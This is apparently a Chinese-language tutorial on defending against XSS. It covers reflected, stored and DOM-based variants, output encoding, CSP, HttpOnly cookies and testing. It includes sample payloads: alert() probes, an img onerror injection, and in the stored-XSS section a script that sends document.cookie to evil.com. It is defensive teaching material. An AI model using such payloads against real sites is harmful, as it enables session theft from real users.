XSS 跨站脚本攻击防御:存储型、反射型与 DOM 型

FreeGuideOnline 最新 2026-06-13

XSS 跨站脚本攻击防御

跨站脚本攻击(Cross-Site Scripting,XSS)是 Web 安全领域最常见、影响最广泛的漏洞之一。它允许攻击者将恶意脚本注入正常用户访问的页面中,从而盗取用户身份、篡改网页内容或进行钓鱼攻击。本教程将深入剖析 XSS 的三种主要类型——反射型、存储型与 DOM 型,并为你提供一套立即可用的防御方案。

认识 XSS:原理与危害

XSS 攻击的基本原理

XSS 的根源在于 Web 应用盲目信任用户输入,并将其直接嵌入到 HTML 页面中。当浏览器解析包含恶意脚本的页面时,该脚本会在受害者的会话上下文中执行,仿佛它就是网站自身的一部分。

攻击流程通常为:

  1. 攻击者寻找一个能回显用户输入或存储用户数据的位置。
  2. 将精心构造的恶意脚本注入其中。
  3. 受害者访问被污染的页面,浏览器执行脚本。
  4. 脚本可窃取 Cookie、Session Token、个人敏感信息,或重定向到钓鱼网站。

前端安全的头号威胁

XSS 能造成的破坏远超想象:

  • 会话劫持document.cookie 可被读取并发送至攻击者服务器,导致账户被直接接管。
  • 钓鱼与界面欺骗:恶意脚本可动态修改页面 DOM,伪造登录表单诱导用户输入密码。
  • 键盘记录与敏感信息窃取:监听输入事件,上传键盘击键内容。
  • 网页蠕虫传播:在社交平台等场景下,XSS 可利用用户权限自我复制,实现大规模传播。

三大 XSS 类型深度解析

反射型 XSS (Reflected XSS)

最典型的“一次性”攻击,恶意脚本并未存储在服务器上,而是通过引诱用户点击一个精心构造的链接来触达目标。

攻击场景: 一个搜索接口将用户输入的关键词直接回显在结果页上且未做转义: https://example.com/search?keyword=<script>alert('XSS')</script>

如果服务端直接将 keyword 的值写入 HTML:

<div>您搜索的关键词是:${keyword}</div>

生成的页面就会变成:

<div>您搜索的关键词是:<script>alert('XSS')</script></div>

浏览器解析到 <script> 标签便会执行其中的 JavaScript。攻击者常通过邮件、即时消息等方式发送短链接诱使受害者点击。

核心特征: 恶意负载在 URL 参数中,服务端处理请求时动态生成包含该负载的响应。不持久化,需用户主动操作。

存储型 XSS (Stored XSS)

最具破坏力的类型,恶意脚本被永久保存在目标服务器上的数据库、文件系统或任何持久化存储中。每当受害者访问包含该数据的页面时,脚本都会被加载执行。

攻击场景: 一个论坛评论区允许用户直接输入 HTML 或未经过滤的文本:

评论内容:<script>new Image().src='http://evil.com/steal?cookie='+document.cookie</script>

该评论被存入数据库,以后任何用户打开该文章时,都会从服务器获取到这段恶意评论并执行其中的脚本,导致所有访问者的 Cookie 被泄露。

核心特征: 恶意代码存储在服务端,每次页面渲染都会从数据库中取出并注入 HTML。受害者范围广,无需点击特定链接。

DOM 型 XSS (DOM-based XSS)

完全发生在客户端,服务器返回的 HTML 页面本身是安全的,但页面中的合法 JavaScript 脚本通过危险的方式处理了 URL 中的参数、document.referrer 或其他不受信任的数据源,动态修改 DOM 时导致了脚本执行。

攻击场景: 页面存在如下脚本:

// 不安全的写法
document.getElementById('welcome').innerHTML = '欢迎 ' + location.hash.substring(1);

用户访问的 URL 为: https://example.com/page#<img src=x onerror=alert(1)> 浏览器的 location.hash 被赋值给 innerHTMLimg 标签的 onerror 事件处理器会触发弹窗。整个过程中服务器只返回了包含上述 JavaScript 的静态页面,并未收到恶意负载。

核心特征: 漏洞完全由客户端代码引起。数据源来自 DOM(如 locationdocument.referrer),并最终通过不安全的 sink(如 innerHTMLdocument.write)写入页面。

通用防御策略

输出编码:核心防线

根据数据被嵌入的上下文,选择正确的编码方式是防御 XSS 的根本。

上下文 编码规则 示例(将 <script> 转义)
HTML 文本节点 HTML 实体编码 & < > " ' &lt;script&gt;
HTML 属性值 同上,并确保引号闭合 &lt;script&gt;
JavaScript 数据 \xHH 或 Unicode 转义,避免直接拼接 \x3Cscript\x3E
URL 参数 URL 编码 encodeURIComponent() %3Cscript%3E
CSS 中 CSS 转义,但尽量避免将用户输入放入 CSS \3C script\3E

实际做法: 永远使用模板引擎或安全库提供的自动转义功能。例如在 Vue.js 中使用 {{ }} 插值会自动 HTML 转义,React 的 JSX 也会默认转义。

上下文感知的转义

一个最危险的错误是:在 HTML 中转义了,却把数据放入了 <script> 标签内部的 JavaScript 变量:

// 错误示范
<script>
var userName = '${user.profile}';  // 如果 profile 是 "'; alert(1);//",则会被闭合
</script>

正确做法是先进行 JavaScript 字符串转义,再进行 HTML 编码,或直接使用 textContentjson_encode 等安全方法传递数据。

使用安全的 API 与框架

尽量避免危险的 DOM 操作函数:

危险 Sink 安全替代方案
element.innerHTML element.textContentelement.innerText
document.write() 使用 DOM 创建方法如 document.createElement()
jQuery.html() jQuery.text()jQuery.attr()
eval() / setTimeout(string) 严格禁用,或仅使用可靠参数
location.href (用户可控) 校验白名单重定向

内容安全策略 (CSP)

CSP 是一道额外的防御层,通过 HTTP 响应头或 <meta> 标签声明允许加载资源的来源,能有效缓解 XSS 影响。

一个严格的 CSP 策略示例:

Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com; style-src 'self' 'unsafe-inline'; object-src 'none';

该策略指定:

  • 所有资源默认只能从同源加载 (default-src 'self')。
  • 脚本只能来自同源和受信任的 CDN (script-src)。
  • 禁止内联脚本和 eval()(若移除了 'unsafe-inline''unsafe-eval')。
  • 禁止插件 (object-src 'none')。

CSP 可阻止恶意行内脚本执行和外部恶意脚本加载,即使存在注入点也大幅降低风险。

给重要的会话 Cookie 设置 HttpOnly 属性,这意味着浏览器将禁止 JavaScript 通过 document.cookie 读取该 Cookie。即使 XSS 成功,也能保护会话不被直接盗取。

Set-Cookie: session_id=abc123; HttpOnly; Secure; SameSite=Lax

输入验证与净化

虽然输出编码是关键,但输入验证是重要的辅助手段。

  • 白名单: 仅允许符合预期的字符集,如用户名只允许字母数字下划线。
  • HTML 净化: 若必须允许用户输入富文本(如文章内容),使用成熟的净化库如 DOMPurify(前端)、OWASP Java HTML Sanitizer 或 Bleach(Python),它们会基于白名单过滤标签和属性,移除危险部分。
  • 拒绝非法数据: 不符合规则的数据直接返回错误,而非试图“清洗”。

分场景防御实战

防御反射型 XSS

  1. 永远不要信任 URL 参数、查询字符串。
  2. 服务端渲染时进行严格 HTML 输出编码。 使用模板引擎的自动转义,如 Java Thymeleaf 中的 th:text,Python Jinja2 中的 {{ }}
  3. 对搜索、错误信息等回显内容,同样必须转义。
  4. 如果返回 JSON 数据,确保 Content-Typeapplication/json,避免浏览器将其当作 HTML 解析。

防御存储型 XSS

  1. 在存入数据库之前进行输入验证,但这不能替代输出编码,因为数据可能在非 HTML 环境使用。
  2. 从数据库读取并输出时进行 HTML 编码,这是最后防线。
  3. 对允许的富文本内容使用 HTML 净化库,生成安全的 HTML 片段。设定严格的白名单,如只允许 b, i, a, p, ul, li 等,且对 a 标签的 href 做协议过滤(仅允许 http, https, mailto)。
  4. 考虑将用户生成内容放入隔离的域名(如 usercontent.example.com),利用同源策略限制恶意脚本的作用范围。

防御 DOM 型 XSS

  1. 审查客户端代码:找出所有从 location.*document.referrerwindow.name 等可信源获取数据并传递给不安全 sink 的点。
  2. 使用安全方法操作 DOM:永远用 textContent 代替 innerHTML 来显示不受信任的文本。
  3. 避免将不可信数据传递给动态执行上下文:如 evalsetTimeout/setInterval 的字符串参数、new Function
  4. 如需将服务端数据安全地传给客户端
    • 将数据塞入 HTML 隐藏元素,用 JavaScript 读取时采用 dataset API。
    • 使用 JSON.parse() 解析一个静态的 <script type="application/json"> 标签内容,而非内联 JavaScript 变量。
  5. 使用前端框架的内置安全机制:Vue 的 v-bind{{ }}、React 的 JSX、Angular 的模板都默认防范 XSS。

测试与验证

手动测试示例

  • 反射型探测:在 URL 参数中插入 <script>alert(document.domain)</script>,若弹窗出现当前域名,则存在漏洞。
  • 存储型探测:在表单字段中提交上述 payload,提交后刷新页面或让其他账户访问,观察是否弹窗。
  • DOM 型探测:检查 URL 片段 (#) 配合常见 payload,如 #<img src=x onerror=alert(1)>,并在页面 JavaScript 中使用 innerHTML 的地方观察效果。使用浏览器开发者工具审查 DOM 变化。

自动化扫描工具

  • Burp Suite / OWASP ZAP:强大的 Web 安全测试工具,可主动扫描 XSS 漏洞。
  • 专用 XSS 扫描器:如 XSStrike、DalFox。
  • 代码静态分析:ESLint 插件(如 eslint-plugin-no-unsanitized)可检测危险的 DOM 调用。SonarQube 等平台也能发现潜在的 XSS 风险。

总结

XSS 防御并非单一技术,而是一个分层的安全体系:

  • 输出编码是绝对的核心,务必根据上下文正确实施。
  • CSP 提供强大的缓解兜底。
  • HttpOnly 保护最敏感的身份凭证。
  • 输入验证HTML 净化有效削减攻击面。
  • 安全 API 的使用从代码层面避免错误。

始终坚持“不信任任何用户输入”的原则,并在开发的每一环节贯彻安全实践。通过本教程的指引,你可以为你的 Web 应用构建起稳固的 XSS 防线。